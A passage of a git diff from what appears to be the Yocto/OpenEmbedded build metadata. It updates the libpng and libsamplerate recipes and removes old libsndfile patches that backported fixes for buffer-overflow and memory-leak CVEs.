-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/${BP}.tar.xz"
-SRC_URI[md5sum] = "015e8e15db1eecde5f2eb9eb5b6e59e9"
-SRC_URI[sha256sum] = "505e70834d35383537b6491e7ae8641f1a4bed1876dbfe361201fc80868d88ca"
-
-MIRRORS += "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/ ${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/older-releases/"
-
-UPSTREAM_CHECK_URI = "http://libpng.org/pub/png/libpng.html"
-
-BINCONFIG = "${bindir}/libpng-config ${bindir}/libpng16-config"
-
-inherit autotools binconfig-disabled pkgconfig
-
-# Work around missing symbols
-EXTRA_OECONF_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off" ,d)}"
-
-PACKAGES =+ "${PN}-tools"
-
-FILES_${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# CVE-2019-17371 is actually a memory leak in gif2png 2.x
-CVE_CHECK_WHITELIST += "CVE-2019-17371"
diff --git a/meta/recipes-multimedia/libpng/libpng_1.6.43.bb b/meta/recipes-multimedia/libpng/libpng_1.6.43.bb
new file mode 100644
index 0000000000..f1febd0a02
--- /dev/null
+++ b/meta/recipes-multimedia/libpng/libpng_1.6.43.bb
@@ -0,0 +1,33 @@
+SUMMARY = "PNG image format decoding library"
+DESCRIPTION = "An open source project to develop and maintain the reference \
+library for use in applications that read, create, and manipulate PNG \
+(Portable Network Graphics) raster image files. "
+HOMEPAGE = "http://www.libpng.org/"
+SECTION = "libs"
+LICENSE = "Libpng"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0fdbfbe10fc294a6fca24dc76134222a"
+DEPENDS = "zlib"
+
+LIBV = "16"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}${LIBV}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "6a5ca0652392a2d7c9db2ae5b40210843c0bbc081cbd410825ab00cc59f14a6c"
+
+MIRRORS += "${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}${LIBV}/ ${SOURCEFORGE_MIRROR}/project/${BPN}/${BPN}${LIBV}/older-releases/"
+
+UPSTREAM_CHECK_URI = "http://libpng.org/pub/png/libpng.html"
+
+BINCONFIG = "${bindir}/libpng-config ${bindir}/libpng16-config"
+
+inherit autotools binconfig-disabled pkgconfig
+
+# Work around missing symbols
+ARMNEON = "${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off", d)}"
+ARMNEON:aarch64 = "--enable-hardware-optimizations=on"
+EXTRA_OECONF += "${ARMNEON}"
+
+PACKAGES =+ "${PN}-tools"
+
+FILES:${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch b/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
deleted file mode 100644
index d19b514e6b..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 957ebce3837588f71016e37ffaf9aad0a9d41cec Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanuk@iki.fi>
-Date: Fri, 23 Sep 2016 12:02:06 +0300
-Subject: [PATCH] configure.ac: improve alsa handling
-
-Three improvements:
-
-1) "--enable-alsa" or "--disable-alsa" caused a warning about an
-unsupported configure option, because AC_ARG_ENABLE was not used.
-
-2) If alsa was disabled, the "Have ALSA" item in the summary would print
-an empty string instead of "no".
-
-3) If "--enable-alsa" was passed to configure, but the headers were not
-found, configure would still succeed (with alsa disabled). It's better
-to fail and abort configure if a feature that was explicitly requested
-can't be enabled.
-
-Upstream-Status: Submitted [sent to src@mega-nerd.com]
-
-Signed-off-by: Tanu Kaskinen <tanuk@iki.fi>
----
- configure.ac | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 474c6ab..bad597e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -101,6 +101,9 @@ AC_ARG_ENABLE(cpu-clip,
- AC_HELP_STRING([--disable-cpu-clip], [disable tricky cpu specific clipper]),
- ac_arg_cpu_clip="N", ac_arg_cpu_clip="Y")
-
-+AC_ARG_ENABLE(alsa,
-+ AC_HELP_STRING([--disable-alsa], [disable ALSA support in the varispeed-play example program]))
-+
- #====================================================================================
- # Check types and their sizes.
-
-@@ -194,6 +197,10 @@ if test x$enable_alsa != xno ; then
- if test x$ac_cv_header_alsa_asoundlib_h = xyes ; then
- ALSA_LIBS="-lasound"
- enable_alsa=yes
-+ elif test x$enable_alsa = xyes ; then
-+ AC_MSG_ERROR(["ALSA headers not found"])
-+ else
-+ enable_alsa=no
- fi
- fi
-
-@@ -340,7 +347,7 @@ AC_MSG_RESULT([
- Have FFTW : ................... ${ac_cv_fftw3}])
-
- AC_MSG_RESULT([ Have libsndfile : ............. ${ac_cv_sndfile}])
--AC_MSG_RESULT([ Have ALSA : ................... ${ac_cv_header_alsa_asoundlib_h}
-+AC_MSG_RESULT([ Have ALSA : ................... ${enable_alsa}
- ])
-
- AC_MSG_RESULT([ Installation directories :
---
-2.9.3
-
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
deleted file mode 100644
index ae08189441..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Audio Sample Rate Conversion library"
-HOMEPAGE = "http://www.mega-nerd.com/SRC/"
-SECTION = "libs"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
- file://src/samplerate.c;beginline=1;endline=7;md5=5b6982a8c2811c7312c13cccbf55f55e"
-DEPENDS = "libsndfile1"
-PR = "r1"
-
-SRC_URI = "http://www.mega-nerd.com/SRC/libsamplerate-${PV}.tar.gz \
- file://0001-configure.ac-improve-alsa-handling.patch \
-"
-
-SRC_URI[md5sum] = "2b78ae9fe63b36b9fbb6267fad93f259"
-SRC_URI[sha256sum] = "0a7eb168e2f21353fb6d84da152e4512126f7dc48ccb0be80578c565413444c1"
-
-CVE_PRODUCT = "libsamplerate"
-
-UPSTREAM_CHECK_URI = "http://www.mega-nerd.com/SRC/download.html"
-
-S = "${WORKDIR}/libsamplerate-${PV}"
-
-inherit autotools pkgconfig
-
-# FFTW and ALSA are only used in tests and examples, so they don't affect
-# normal builds. It should be safe to ignore these, but explicitly disabling
-# them adds some extra certainty that builds are deterministic.
-EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
new file mode 100644
index 0000000000..29d48fd333
--- /dev/null
+++ b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Audio Sample Rate Conversion library"
+DESCRIPTION = "Also known as Secret Rabbit Code - a library for performing sample rate conversion of audio data."
+HOMEPAGE = "https://libsndfile.github.io/libsamplerate/"
+SECTION = "libs"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
+ file://src/samplerate.c;beginline=1;endline=7;md5=7a4238289dc36bfb70968ccaa5bd0d4f"
+DEPENDS = "libsndfile1"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/libsamplerate-${PV}.tar.xz \
+"
+
+SRC_URI[sha256sum] = "3258da280511d24b49d6b08615bbe824d0cacc9842b0e4caf11c52cf2b043893"
+
+CVE_PRODUCT = "libsamplerate"
+
+GITHUB_BASE_URI = "https://github.com/libsndfile/libsamplerate/releases"
+
+S = "${WORKDIR}/libsamplerate-${PV}"
+
+inherit autotools pkgconfig github-releases
+
+# FFTW and ALSA are only used in tests and examples, so they don't affect
+# normal builds. It should be safe to ignore these, but explicitly disabling
+# them adds some extra certainty that builds are deterministic.
+EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch
deleted file mode 100644
index a4679cef2a..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/0001-a-ulaw-fix-multiple-buffer-overflows-432.patch
+++ /dev/null
@@ -1,107 +0,0 @@
-This patch fixes #429 (CVE-2018-19661 CVE-2018-19662) and #344 (CVE-2017-17456
-CVE-2017-17457). As per
-https://github.com/erikd/libsndfile/issues/344#issuecomment-448504425 it also
-fixes #317 (CVE-2017-14245 CVE-2017-14246).
-
-CVE: CVE-2017-14245 CVE-2017-14246
-CVE: CVE-2017-17456 CVE-2017-17457
-CVE: CVE-2018-19661 CVE-2018-19662
-
-Upstream-Status: Backport [8ddc442d539ca775d80cdbc7af17a718634a743f]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 39453899fe1bb39b2e041fdf51a85aecd177e9c7 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 7 Jan 2019 15:55:03 +0800
-Subject: [PATCH] a/ulaw: fix multiple buffer overflows (#432)
-
-i2ulaw_array() and i2alaw_array() fail to handle ptr [count] = INT_MIN
-properly, leading to buffer underflow. INT_MIN is a special value
-since - INT_MIN cannot be represented as int.
-
-In this case round - INT_MIN to INT_MAX and proceed as usual.
-
-f2ulaw_array() and f2alaw_array() fail to handle ptr [count] = NaN
-properly, leading to null pointer dereference.
-
-In this case, arbitrarily set the buffer value to 0.
-
-This commit fixes #429 (CVE-2018-19661 and CVE-2018-19662) and
-fixes #344 (CVE-2017-17456 and CVE-2017-17457).
-
----
- src/alaw.c | 9 +++++++--
- src/ulaw.c | 9 +++++++--
- 2 files changed, 14 insertions(+), 4 deletions(-)
-
-diff --git a/src/alaw.c b/src/alaw.c
-index 063fd1a..4220224 100644
---- a/src/alaw.c
-+++ b/src/alaw.c
-@@ -19,6 +19,7 @@
- #include "sfconfig.h"
-
- #include <math.h>
-+#include <limits.h>
-
- #include "sndfile.h"
- #include "common.h"
-@@ -326,7 +327,9 @@ s2alaw_array (const short *ptr, int count, unsigned char *buffer)
- static inline void
- i2alaw_array (const int *ptr, int count, unsigned char *buffer)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (ptr [count] == INT_MIN)
-+ buffer [count] = alaw_encode [INT_MAX >> (16 + 4)] ;
-+ else if (ptr [count] >= 0)
- buffer [count] = alaw_encode [ptr [count] >> (16 + 4)] ;
- else
- buffer [count] = 0x7F & alaw_encode [- ptr [count] >> (16 + 4)] ;
-@@ -346,7 +349,9 @@ f2alaw_array (const float *ptr, int count, unsigned char *buffer, float normfact
- static inline void
- d2alaw_array (const double *ptr, int count, unsigned char *buffer, double normfact)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (!isfinite (ptr [count]))
-+ buffer [count] = 0 ;
-+ else if (ptr [count] >= 0)
- buffer [count] = alaw_encode [lrint (normfact * ptr [count])] ;
- else
- buffer [count] = 0x7F & alaw_encode [- lrint (normfact * ptr [count])] ;
-diff --git a/src/ulaw.c b/src/ulaw.c
-index e50b4cb..b6070ad 100644
---- a/src/ulaw.c
-+++ b/src/ulaw.c
-@@ -19,6 +19,7 @@
- #include "sfconfig.h"
-
- #include <math.h>
-+#include <limits.h>
-
- #include "sndfile.h"
- #include "common.h"
-@@ -827,7 +828,9 @@ s2ulaw_array (const short *ptr, int count, unsigned char *buffer)
- static inline void
- i2ulaw_array (const int *ptr, int count, unsigned char *buffer)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (ptr [count] == INT_MIN)
-+ buffer [count] = ulaw_encode [INT_MAX >> (16 + 2)] ;
-+ else if (ptr [count] >= 0)
- buffer [count] = ulaw_encode [ptr [count] >> (16 + 2)] ;
- else
- buffer [count] = 0x7F & ulaw_encode [-ptr [count] >> (16 + 2)] ;
-@@ -847,7 +850,9 @@ f2ulaw_array (const float *ptr, int count, unsigned char *buffer, float normfact
- static inline void
- d2ulaw_array (const double *ptr, int count, unsigned char *buffer, double normfact)
- { while (--count >= 0)
-- { if (ptr [count] >= 0)
-+ { if (!isfinite (ptr [count]))
-+ buffer [count] = 0 ;
-+ else if (ptr [count] >= 0)
- buffer [count] = ulaw_encode [lrint (normfact * ptr [count])] ;
- else
- buffer [count] = 0x7F & ulaw_encode [- lrint (normfact * ptr [count])] ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch
deleted file mode 100644
index 491dae3114..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-12562.patch
+++ /dev/null
@@ -1,96 +0,0 @@
-Heap-based Buffer Overflow in the psf_binheader_writef function in common.c in
-libsndfile through 1.0.28 allows remote attackers to cause a denial of service
-(application crash) or possibly have unspecified other impact.
-
-CVE: CVE-2017-12562
-Upstream-Status: Backport [cf7a8182c2642c50f1cf90dddea9ce96a8bad2e8]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From b6a9d7e95888ffa77d8c75ce3f03e6c7165587cd Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?J=C3=B6rn=20Heusipp?= <osmanx@problemloesungsmaschine.de>
-Date: Wed, 14 Jun 2017 12:25:40 +0200
-Subject: [PATCH] src/common.c: Fix heap buffer overflows when writing strings
- in binheader
-
-Fixes the following problems:
- 1. Case 's' only enlarges the buffer by 16 bytes instead of size bytes.
- 2. psf_binheader_writef() enlarges the header buffer (if needed) prior to the
- big switch statement by an amount (16 bytes) which is enough for all cases
- where only a single value gets added. Cases 's', 'S', 'p' however
- additionally write an arbitrary length block of data and again enlarge the
- buffer to the required amount. However, the required space calculation does
- not take into account the size of the length field which gets output before
- the data.
- 3. Buffer size requirement calculation in case 'S' does not account for the
- padding byte ("size += (size & 1) ;" happens after the calculation which
- uses "size").
- 4. Case 'S' can overrun the header buffer by 1 byte when no padding is
- involved
- ("memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + 1) ;" while
- the buffer is only guaranteed to have "size" space available).
- 5. "psf->header.ptr [psf->header.indx] = 0 ;" in case 'S' always writes 1 byte
- beyond the space which is guaranteed to be allocated in the header buffer.
- 6. Case 's' can overrun the provided source string by 1 byte if padding is
- involved ("memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size) ;"
- where "size" is "strlen (strptr) + 1" (which includes the 0 terminator,
- plus optionally another 1 which is padding and not guaranteed to be
- readable via the source string pointer).
-
-Closes: https://github.com/erikd/libsndfile/issues/292
----
- src/common.c | 15 +++++++--------
- 1 file changed, 7 insertions(+), 8 deletions(-)
-
-diff --git a/src/common.c b/src/common.c
-index 1a6204ca..6b2a2ee9 100644
---- a/src/common.c
-+++ b/src/common.c
-@@ -681,16 +681,16 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- /* Write a C string (guaranteed to have a zero terminator). */
- strptr = va_arg (argptr, char *) ;
- size = strlen (strptr) + 1 ;
-- size += (size & 1) ;
-
-- if (psf->header.indx + (sf_count_t) size >= psf->header.len && psf_bump_header_allocation (psf, 16))
-+ if (psf->header.indx + 4 + (sf_count_t) size + (sf_count_t) (size & 1) > psf->header.len && psf_bump_header_allocation (psf, 4 + size + (size & 1)))
- return count ;
-
- if (psf->rwf_endian == SF_ENDIAN_BIG)
-- header_put_be_int (psf, size) ;
-+ header_put_be_int (psf, size + (size & 1)) ;
- else
-- header_put_le_int (psf, size) ;
-+ header_put_le_int (psf, size + (size & 1)) ;
- memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size) ;
-+ size += (size & 1) ;
- psf->header.indx += size ;
- psf->header.ptr [psf->header.indx - 1] = 0 ;
- count += 4 + size ;
-@@ -703,16 +703,15 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- */
- strptr = va_arg (argptr, char *) ;
- size = strlen (strptr) ;
-- if (psf->header.indx + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, size))
-+ if (psf->header.indx + 4 + (sf_count_t) size + (sf_count_t) (size & 1) > psf->header.len && psf_bump_header_allocation (psf, 4 + size + (size & 1)))
- return count ;
- if (psf->rwf_endian == SF_ENDIAN_BIG)
- header_put_be_int (psf, size) ;
- else
- header_put_le_int (psf, size) ;
-- memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + 1) ;
-+ memcpy (&(psf->header.ptr [psf->header.indx]), strptr, size + (size & 1)) ;
- size += (size & 1) ;
- psf->header.indx += size ;
-- psf->header.ptr [psf->header.indx] = 0 ;
- count += 4 + size ;
- break ;
-
-@@ -724,7 +723,7 @@ psf_binheader_writef (SF_PRIVATE *psf, const char *format, ...)
- size = (size & 1) ? size : size + 1 ;
- size = (size > 254) ? 254 : size ;
-
-- if (psf->header.indx + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, size))
-+ if (psf->header.indx + 1 + (sf_count_t) size > psf->header.len && psf_bump_header_allocation (psf, 1 + size))
- return count ;
-
- header_put_byte (psf, size) ;
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch
deleted file mode 100644
index 39b4ec1101..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-14634.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 85c877d5072866aadbe8ed0c3e0590fbb5e16788 Mon Sep 17 00:00:00 2001
-From: Fabian Greffrath <fabian@greffrath.com>
-Date: Thu, 28 Sep 2017 12:15:04 +0200
-Subject: [PATCH] double64_init: Check psf->sf.channels against upper bound
-
-This prevents division by zero later in the code.
-
-While the trivial case to catch this (i.e. sf.channels < 1) has already
-been covered, a crafted file may report a number of channels that is
-so high (i.e. > INT_MAX/sizeof(double)) that it "somehow" gets
-miscalculated to zero (if this makes sense) in the determination of the
-blockwidth. Since we only support a limited number of channels anyway,
-make sure to check here as well.
-
-CVE: CVE-2017-14634
-
-Closes: https://github.com/erikd/libsndfile/issues/318
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/85c877d5072866aadbe8ed0c3e0590fbb5e16788]
-
-Signed-off-by: Erik de Castro Lopo <erikd@mega-nerd.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- src/double64.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/double64.c b/src/double64.c
-index b318ea8..78dfef7 100644
---- a/src/double64.c
-+++ b/src/double64.c
-@@ -91,7 +91,7 @@ int
- double64_init (SF_PRIVATE *psf)
- { static int double64_caps ;
-
-- if (psf->sf.channels < 1)
-+ if (psf->sf.channels < 1 || psf->sf.channels > SF_MAX_CHANNELS)
- { psf_log_printf (psf, "double64_init : internal error : channels = %d\n", psf->sf.channels) ;
- return SFE_INTERNAL ;
- } ;
---
-2.13.3
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch
deleted file mode 100644
index 89552ac2d9..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-6892.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From f833c53cb596e9e1792949f762e0b33661822748 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Tue, 23 May 2017 20:15:24 +1000
-Subject: [PATCH] src/aiff.c: Fix a buffer read overflow
-
-Secunia Advisory SA76717.
-
-Found by: Laurent Delosieres, Secunia Research at Flexera Software
-
-CVE: CVE-2017-6892
-Upstream-Status: Backport
-
-Signed-off-by: Fan Xin <fan.xin@jp.fujitsu.com>
-
----
- src/aiff.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/aiff.c b/src/aiff.c
-index 5b5f9f5..45864b7 100644
---- a/src/aiff.c
-+++ b/src/aiff.c
-@@ -1759,7 +1759,7 @@ aiff_read_chanmap (SF_PRIVATE * psf, unsigned dword)
- psf_binheader_readf (psf, "j", dword - bytesread) ;
-
- if (map_info->channel_map != NULL)
-- { size_t chanmap_size = psf->sf.channels * sizeof (psf->channel_map [0]) ;
-+ { size_t chanmap_size = SF_MIN (psf->sf.channels, layout_tag & 0xffff) * sizeof (psf->channel_map [0]) ;
-
- free (psf->channel_map) ;
-
---
-1.9.1
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch
deleted file mode 100644
index ac99516bb3..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8361-8365.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From fd0484aba8e51d16af1e3a880f9b8b857b385eb3 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Wed, 12 Apr 2017 19:45:30 +1000
-Subject: [PATCH] FLAC: Fix a buffer read overrun
-
-Buffer read overrun occurs when reading a FLAC file that switches
-from 2 channels to one channel mid-stream. Only option is to
-abort the read.
-
-Closes: https://github.com/erikd/libsndfile/issues/230
-
-CVE: CVE-2017-8361 CVE-2017-8365
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/fd0484aba8e51d16af1e3a880f9b8b857b385eb3]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/common.h | 1 +
- src/flac.c | 13 +++++++++++++
- src/sndfile.c | 1 +
- 3 files changed, 15 insertions(+)
-
-diff --git a/src/common.h b/src/common.h
-index 0bd810c..e2669b6 100644
---- a/src/common.h
-+++ b/src/common.h
-@@ -725,6 +725,7 @@ enum
- SFE_FLAC_INIT_DECODER,
- SFE_FLAC_LOST_SYNC,
- SFE_FLAC_BAD_SAMPLE_RATE,
-+ SFE_FLAC_CHANNEL_COUNT_CHANGED,
- SFE_FLAC_UNKOWN_ERROR,
-
- SFE_WVE_NOT_WVE,
-diff --git a/src/flac.c b/src/flac.c
-index 84de0e2..986a7b8 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -434,6 +434,19 @@ sf_flac_meta_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC_
-
- switch (metadata->type)
- { case FLAC__METADATA_TYPE_STREAMINFO :
-+ if (psf->sf.channels > 0 && psf->sf.channels != (int) metadata->data.stream_info.channels)
-+ { psf_log_printf (psf, "Error: FLAC stream changed from %d to %d channels\n"
-+ "Nothing to be but to error out.\n" ,
-+ psf->sf.channels, metadata->data.stream_info.channels) ;
-+ psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
-+ return ;
-+ } ;
-+
-+ if (psf->sf.channels > 0 && psf->sf.samplerate != (int) metadata->data.stream_info.sample_rate)
-+ { psf_log_printf (psf, "Warning: FLAC stream changed sample rates from %d to %d.\n"
-+ "Carrying on as if nothing happened.",
-+ psf->sf.samplerate, metadata->data.stream_info.sample_rate) ;
-+ } ;
- psf->sf.channels = metadata->data.stream_info.channels ;
- psf->sf.samplerate = metadata->data.stream_info.sample_rate ;
- psf->sf.frames = metadata->data.stream_info.total_samples ;
-diff --git a/src/sndfile.c b/src/sndfile.c
-index 4187561..e2a87be 100644
---- a/src/sndfile.c
-+++ b/src/sndfile.c
-@@ -245,6 +245,7 @@ ErrorStruct SndfileErrors [] =
- { SFE_FLAC_INIT_DECODER , "Error : problem with initialization of the flac decoder." },
- { SFE_FLAC_LOST_SYNC , "Error : flac decoder lost sync." },
- { SFE_FLAC_BAD_SAMPLE_RATE, "Error : flac does not support this sample rate." },
-+ { SFE_FLAC_CHANNEL_COUNT_CHANGED, "Error : flac channel changed mid stream." },
- { SFE_FLAC_UNKOWN_ERROR , "Error : unknown error in flac decoder." },
-
- { SFE_WVE_NOT_WVE , "Error : not a WVE file." },
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch
deleted file mode 100644
index 9ee7e46a6d..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8362.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From ef1dbb2df1c0e741486646de40bd638a9c4cd808 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Fri, 14 Apr 2017 15:19:16 +1000
-Subject: [PATCH] src/flac.c: Fix a buffer read overflow
-
-A file (generated by a fuzzer) which increased the number of channels
-from one frame to the next could cause a read beyond the end of the
-buffer provided by libFLAC. Only option is to abort the read.
-
-Closes: https://github.com/erikd/libsndfile/issues/231
-
-CVE: CVE-2017-8362
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/ef1dbb2df1c0e741486646de40bd638a9c4cd808]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/flac.c | 11 +++++++++--
- 1 file changed, 9 insertions(+), 2 deletions(-)
-
-diff --git a/src/flac.c b/src/flac.c
-index 5a4f8c2..e4f9aaa 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -169,6 +169,14 @@ flac_buffer_copy (SF_PRIVATE *psf)
- const int32_t* const *buffer = pflac->wbuffer ;
- unsigned i = 0, j, offset, channels, len ;
-
-+ if (psf->sf.channels != (int) frame->header.channels)
-+ { psf_log_printf (psf, "Error: FLAC frame changed from %d to %d channels\n"
-+ "Nothing to do but to error out.\n" ,
-+ psf->sf.channels, frame->header.channels) ;
-+ psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
-+ return 0 ;
-+ } ;
-+
- /*
- ** frame->header.blocksize is variable and we're using a constant blocksize
- ** of FLAC__MAX_BLOCK_SIZE.
-@@ -202,7 +210,6 @@ flac_buffer_copy (SF_PRIVATE *psf)
- return 0 ;
- } ;
-
--
- len = SF_MIN (pflac->len, frame->header.blocksize) ;
-
- if (pflac->remain % channels != 0)
-@@ -436,7 +443,7 @@ sf_flac_meta_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC_
- { case FLAC__METADATA_TYPE_STREAMINFO :
- if (psf->sf.channels > 0 && psf->sf.channels != (int) metadata->data.stream_info.channels)
- { psf_log_printf (psf, "Error: FLAC stream changed from %d to %d channels\n"
-- "Nothing to be but to error out.\n" ,
-+ "Nothing to do but to error out.\n" ,
- psf->sf.channels, metadata->data.stream_info.channels) ;
- psf->error = SFE_FLAC_CHANNEL_COUNT_CHANGED ;
- return ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch
deleted file mode 100644
index e526e5a346..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2017-8363.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From cd7da8dbf6ee4310d21d9e44b385d6797160d9e8 Mon Sep 17 00:00:00 2001
-From: Erik de Castro Lopo <erikd@mega-nerd.com>
-Date: Wed, 12 Apr 2017 20:19:34 +1000
-Subject: [PATCH] src/flac.c: Fix another memory leak
-
-When the FLAC decoder was passed a malformed file, the associated
-`FLAC__StreamDecoder` object was not getting released.
-
-Closes: https://github.com/erikd/libsndfile/issues/233
-
-CVE: CVE-2017-8363
-
-Upstream-Status: Backport [https://github.com/erikd/libsndfile/commit/cd7da8dbf6ee4310d21d9e44b385d6797160d9e8]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
- src/flac.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/flac.c b/src/flac.c
-index 986a7b8..5a4f8c2 100644
---- a/src/flac.c
-+++ b/src/flac.c
-@@ -841,7 +841,9 @@ flac_read_header (SF_PRIVATE *psf)
-
- psf_log_printf (psf, "End\n") ;
-
-- if (psf->error == 0)
-+ if (psf->error != 0)
-+ FLAC__stream_decoder_delete (pflac->fsd) ;
-+ else
- { FLAC__uint64 position ;
-
- FLAC__stream_decoder_get_decode_position (pflac->fsd, &position) ;
---
-2.7.4
-
diff --git a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch b/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch
deleted file mode 100644
index 707373d414..0000000000
--- a/meta/recipes-multimedia/libsndfile/libsndfile1/CVE-2018-13139.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-CVE: CVE-2018-13139
-Upstream-Status: Backport [9dc989eb89cd697e19897afa616d6ab0debe4822]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 9dc989eb89cd697e19897afa616d6ab0debe4822 Mon Sep 17 00:00:00 2001
-From: "Brett T. Warden" <brett.t.warden@intel.com>
-Date: Tue, 28 Aug 2018 12:01:17 -0700
-Subject: [PATCH] Check MAX_CHANNELS in sndfile-deinterleave
-
